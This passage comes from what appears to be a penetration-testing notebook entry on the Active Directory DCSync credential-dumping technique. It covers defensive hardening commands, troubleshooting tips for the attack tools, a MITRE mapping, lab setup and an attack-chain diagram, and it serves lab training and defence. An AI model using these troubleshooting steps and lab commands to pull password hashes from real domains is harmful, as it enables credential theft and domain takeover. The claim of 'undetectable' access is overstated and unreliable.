```powershell 610 # ββ 1. Audit who currently has DCSync rights ββββββββββββββββββββββββββββββββββ 611 Import-Module ActiveDirectory 612 (Get-Acl "AD:DC=corp,DC=local").Access | 613 Where-Object { 614 $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or 615 $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" 616 } | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType | 617 Format-Table -AutoSize 618 619 # ββ 2. Remove DCSync rights from unnecessary accounts βββββββββββββββββββββββββ 620 # Use ADSI to remove specific ACEs β replace SID with the target principal 621 $acl = Get-Acl "AD:DC=corp,DC=local" 622 $acl.Access | Where-Object { $_.IdentityReference -eq "CORP\unnecessary_user" } | 623 ForEach-Object { $acl.RemoveAccessRule($_) } 624 Set-Acl "AD:DC=corp,DC=local" $acl 625 626 # ββ 3. Enable Advanced Audit Policy for Directory Service Access ββββββββββββββ 627 auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable 628 auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable 629 630 # ββ 4. GPO β Enable auditing domain-wide βββββββββββββββββββββββββββββββββββββ 631 # Computer Configuration β Policies β Windows Settings β Security Settings β 632 # Advanced Audit Policy Configuration β DS Access β 633 # β Audit Directory Service Access: Success, Failure 634 # β Audit Directory Service Changes: Success, Failure 635 636 # ββ 5. Monitor ACL changes on the domain object ββββββββββββββββββββββββββββββ 637 # Enable SACL on DC=corp,DC=local for "Modify permissions" operations 638 # This generates Event 4662 when anyone changes the domain DACL 639 640 # ββ 6. Restrict privileged group membership βββββββββββββββββββββββββββββββββββ 641 # Use AdminSDHolder + SDProp to protect DA/EA groups 642 # Implement Tiered Administration (Tier 0 for DC access only) 643 644 # ββ 7. Deploy MDI or equivalent DRSUAPI monitoring ββββββββββββββββββββββββββββ 645 # Microsoft Defender for Identity sensors on all DCs 646 # Or: Zeek/Bro IDS with DRSUAPI protocol analyzer 647 648 # ββ 8. Network segmentation β restrict RPC from workstations to DCs βββββββββββ 649 # Windows Firewall on DCs: 650 New-NetFirewallRule -DisplayName "Block DRSUAPI from non-DCs" ` 651 -Direction Inbound -Protocol TCP -LocalPort 49152-65535 ` 652 -RemoteAddress "10.10.10.0/24" -Action Block 653 # β οΈ Be very careful β this can break legitimate admin tools; test thoroughly 654 ``` 655 656 *** 657 658 ## π§© Troubleshooting 659 660 | Error | Cause | Fix | 661 |---|---|---| 662 | `ERROR_DS_DRA_ACCESS_DENIED` / `0x2105` | Account lacks one or both replication rights | Verify both `Get-Changes` + `Get-Changes-All` ACEs are present on the account | 663 | `RPC_S_ACCESS_DENIED` on bind | Firewall blocking RPC dynamic ports to DC | Ensure TCP 135 + 49152-65535 are open from attacker to DC; or use `--target-ip` with secretsdump | 664 | Mimikatz `ERROR kuhl_m_lsadump_dcsync` | Running without `privilege::debug` / not elevated | Run as admin and execute `privilege::debug` first; or use `token::elevate` | 665 | secretsdump returns `0 hashes` | Specified wrong domain or user doesn't exist | Double-check domain FQDN (`corp.local` not `CORP`); verify user's sAMAccountName | 666 | `KRB_AP_ERR_SKEW` with Kerberos auth | Time difference > 5 minutes between attacker and DC | Sync clock: `ntpdate DC01.corp.local` or `rdate -s DC01.corp.local` | 667 | NetExec `STATUS_ACCESS_DENIED` | Account not in DA or doesn't have replication rights | Verify group membership or explicitly granted ACEs; try `-k` for Kerberos instead of NTLM | 668 | DSInternals `Get-ADReplAccount` fails | Module not installed or DC unreachable | `Install-Module DSInternals -Force`; verify DC hostname resolves and RPC ports are open | 669 | Partial hashes / missing AES keys | Used `-just-dc-ntlm` instead of `-just-dc` | Use `-just-dc` (no `-ntlm` suffix) to get NT hashes + Kerberos keys + cleartext | 670 671 *** 672 673 ## πΊοΈ MITRE ATT&CK 674 675 | Tactic | Technique ID | Sub-technique | Procedure | APT Groups | 676 |---|---|---|---|---| 677 | **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.006 β DCSync](https://attack.mitre.org/techniques/T1003/006/) | Use DRSUAPI GetNCChanges to replicate credential data from DC | [APT29](https://attack.mitre.org/groups/G0016/) (Cozy Bear), [FIN6](https://attack.mitre.org/groups/G0037/), [Wizard Spider](https://attack.mitre.org/groups/G0102/) | 678 | **Persistence** | [T1098](https://attack.mitre.org/techniques/T1098/) | [.xxx β Account Manipulation](https://attack.mitre.org/techniques/T1098/) | Grant DCSync replication rights to a controlled account for persistent access | [APT29](https://attack.mitre.org/groups/G0016/), [FIN7](https://attack.mitre.org/groups/G0046/) | 679 | **Defense Evasion** | [T1550](https://attack.mitre.org/techniques/T1550/) | [.002 β Pass the Hash](https://attack.mitre.org/techniques/T1550/002/) | Use extracted NT hashes for lateral movement without cracking | Widely used by most APT groups | 680 681 > [!tip]+ Real-World APT Usage 682 > `fas:Lightbulb` 683 > 1. **APT29 (Cozy Bear / SolarWinds)** β Used DCSync extensively during the SolarWinds supply chain compromise to extract KRBTGT hashes and forge Golden Tickets for persistent access across federated environments 684 > 2. **Wizard Spider (Ryuk/Conti)** β Standard post-exploitation step after obtaining DA; DCSync β offline cracking β credential reuse across victim networks 685 > 3. **FIN6** β Used Mimikatz DCSync in POS-targeting campaigns to extract service account credentials for lateral movement to payment processing systems 686 687 *** 688 689 ## π§ͺ Lab Setup Hints 690 691 > [!example]+ Minimal Lab for DCSync Practice 692 > 1. **DC**: Windows Server 2019/2022 VM β promote to DC for `lab.local`; create 5-10 test users with varied passwords 693 > 2. **Attacker (Linux)**: Kali/Parrot VM β install Impacket (`pipx install impacket`), NetExec (`pipx install netexec`), bloodyAD 694 > 3. **Attacker (Windows)**: Windows 10/11 VM domain-joined β download Mimikatz, SharpKatz, PowerView, DSInternals 695 > 4. **Network**: All VMs on same host-only / NAT network; ensure RPC (135 + 49152-65535) and LDAP (389) are accessible 696 > 5. **Setup DCSync rights test**: Create a low-priv user `testdcsync`, grant it `WriteDACL` on the domain object via `dsacls`, then practice self-granting DCSync rights 697 > 6. **Enable auditing**: Configure Advanced Audit Policy on the DC to generate 4662 events so you can see what detection looks like 698 > 7. *Estimated setup time: 45-60 minutes from scratch; 15 minutes with pre-built snapshots* 699 700 > [!tip]+ Quick Lab Commands 701 > `fas:Lightbulb` 702 > 1. Create test user: `New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword (ConvertTo-SecureString 'Password1' -AsPlainText -Force) -Enabled $true` 703 > 2. Grant WriteDACL for testing: `Add-DomainObjectAcl -TargetIdentity "DC=lab,DC=local" -PrincipalIdentity testdcsync -Rights WriteDacl` 704 > 3. Enable 4662 auditing: `auditpol /set /subcategory:"Directory Service Access" /success:enable` 705 > 4. Verify: Run DCSync β check Event Viewer β Security β filter for Event ID 4662 706 707 *** 708 709 ## π Attack Chain Context 710 711 ``` 712 [DCSync] βββ Complete Credential Extraction 713 β 714 ββββ π« Extract KRBTGT hash β Golden Ticket (Attack #11) β Permanent DA 715 ββββ π Extract service account hashes β Silver Tickets (Attack #12) 716 ββββ π Extract all user hashes β offline cracking β password reuse 717 ββββ π» Pass-the-Hash with any extracted hash (Attack #4) 718 ββββ π ACL persistence β grant DCSync rights to low-priv user (Attack #65) 719 ββββ π Prereqs: GenericAll on Domain Object β self-grant DCSync ACE 720 ββββ π Compare: NTDS.dit extraction (Attack #39) β requires DC access 721 ββββ π Related: DCShadow (Attack #38) β write instead of read 722 ββββ π Defeated by: audit replication ACEs, monitor 4662, MDI, network detection 723 ``` 724 725 **DCSync is the standard method for credential extraction** in every AD pentest engagement. It has completely replaced NTDS.dit extraction for most scenarios because it requires no code execution on the DC, leaves no disk artifacts, and can target individual accounts selectively. Combined with a Golden Ticket forged from the extracted KRBTGT hash, DCSync provides the attacker with permanent, undetectable domain access. 726 727 *** 728 729 > β **Attack #37 β DCSync complete.**